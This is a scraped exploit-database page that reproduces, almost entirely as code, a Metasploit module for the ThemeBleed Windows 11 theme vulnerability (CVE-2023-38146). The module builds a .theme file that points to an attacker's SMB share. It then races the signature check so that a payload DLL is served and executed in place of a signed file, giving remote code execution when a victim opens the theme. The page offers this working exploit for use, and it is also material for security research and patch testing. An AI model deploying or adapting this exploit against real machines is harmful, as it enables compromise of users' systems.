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Themebleed Windows 11 Themes Arbitrary Code Execution

CVE Category Price Severity
CVE-2023-38146 CWE-119 $10,000 High
Author Risk Exploitation Type Date
Unknown High Local 2024-01-06
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2024010019

Below is a copy:

Themebleed Windows 11 Themes Arbitrary Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMB::Server::Share

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Themebleed- Windows 11 Themes Arbitrary Code Execution CVE-2023-38146',
        'Description' => %q{
          When an unpatched Windows 11 host loads a theme file referencing an msstyles file, Windows loads the
          msstyles file, and if that file's PACKME_VERSION is `999`, it then attempts to load an accompanying dll
          file ending in `_vrf.dll` Before loading that file, it verifies that the file is signed.  It does this by
          opening the file for reading and verifying the signature before opening the file for execution.
          Because this action is performed in two discrete operations, it opens the procedure for a time of check to
          time of use vulnerability.  By embedding a UNC file path to an SMB server we control, the SMB server can
          serve a legitimate, signed dll when queried for the read, but then serve a different file of the same name
          when the host intends to load/execute the dll.
        },
        'DisclosureDate' => '2023-09-13',
        'Author' => [
          'gabe_k', # Discovery/PoC
          'bwatters-r7', # msf exploit
          'Spencer McIntyre' # msf exploit
        ],
        'References' => [
          ['CVE', '2023-38146'],
          ['URL', 'https://exploits.forsale/themebleed/'],
          ['URL', 'https://github.com/gabe-k/themebleed/tree/main']

        ],
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => ARCH_X64,
        'Targets' => [
          [ 'Windows', {} ],
        ],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],
          'AKA' => ['ThemeBleed']

        },
        'DefaultOptions' => { 'DisablePayloadHandler' => false }
      )
    )

    register_options([
      OptPath.new('STYLE_FILE', [ true, 'The Microsoft-signed .msstyles file (e.g. aero.msstyles).', '' ], regex: /.*\w*\.msstyles$/),
      OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/),
      OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ])
    ])

    deregister_options(
      'FILENAME', # this is the one used by the FILEFORMAT mixin, replaced by THEME_FILE_NAME for clarity
      'FILE_NAME', # this is the one used by the SMB::Server::Share mixin, replaced by STYLE_FILE_NAME for clarity
      'FOLDER_NAME'
    )
  end

  def file_format_filename
    datastore['THEME_FILE_NAME']
  end

  def setup
    super

    @file = File.binread(datastore['STYLE_FILE'])
    begin
      pe = Rex::PeParsey::Pe.new_from_string(@file)
    rescue Rex::PeParsey::PeError => e
      fail_with(Failure::BadConfig, "Failed to parse the STYLE_FILE: #{e}")
    end

    unless pe.resources && (rva = pe.resources['/PACKTHEM_VERSION/0/0']&.rva)
      fail_with(Failure::BadConfig, 'The STYLE_FILE has no PACKTHEM_VERSION resource.')
    end
    @file_version_offset = pe.rva_to_file_offset(rva)

    @file_name = datastore['STYLE_FILE_NAME'].blank? ? Rex::Text.rand_text_alpha(rand(4..6)) : datastore['STYLE_FILE_NAME']
    @file_name << '.msstyles' unless @file_name.end_with?('.msstyles')
  end

  def primer
    payload_dll = generate_payload_dll
    max_length = [payload_dll.length, @file.length].max
    # make sure that the lengths are the same by padding the smaller to the length of the larger
    @file.ljust(max_length, "\x00".b)
    payload_dll.ljust(max_length, "\x00".b)

    virtual_disk = service.shares[@share]
    @service = service

    virtual_file = ThreadLocalVirtualStaticFile.new(virtual_disk, "/#{@file_name}_vrf.dll", @file)
    virtual_disk.add(virtual_file)
    # install this hook for create requests to set the thread-local file content
    virtual_disk.add_hook(RubySMB::SMB2::Packet::CreateRequest) do |_session, request|
      next unless request.name.read_now!.encode.ends_with?('_vrf.dll')

      if request.desired_access.execute == 1
        virtual_file.tl_content = payload_dll
      else
        virtual_file.tl_content = @file
      end

      nil
    end

    file_create(make_theme)
  end

  def get_file_contents(client:)
    print_status("Sending file to #{client.peerhost}")
    new_version = [999].pack('v')
    @file[0...@file_version_offset] + new_version + @file[(@file_version_offset + new_version.length)...]
  end

  def make_theme
    <<~THEME
      [Theme]
      DisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060

      [Control Panel\\Desktop]
      Wallpaper=%SystemRoot%\\web\\wallpaper\\Windows\\img0.jpg
      TileWallpaper=0
      WallpaperStyle=10

      [VisualStyles]
      Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}
      ColorStyle=NormalColor
      Size=NormalSize

      [MasterThemeSelector]
      MTSM=RJSPBS
    THEME
  end

  class ThreadLocalVirtualStaticFile < RubySMB::Server::Share::Provider::VirtualDisk::VirtualStaticFile
    def initialize(*args, **kwargs)
      super
      @default_content = @content
      @tl_content = {}
      @tl_content.compare_by_identity
    end

    def open(mode = 'r', &block)
      @content = tl_content
      super
    end

    def tl_content=(content)
      @tl_content[Thread.current] = content
    end

    def tl_content
      @tl_content.fetch(Thread.current, @default_content)
    end
  end
end

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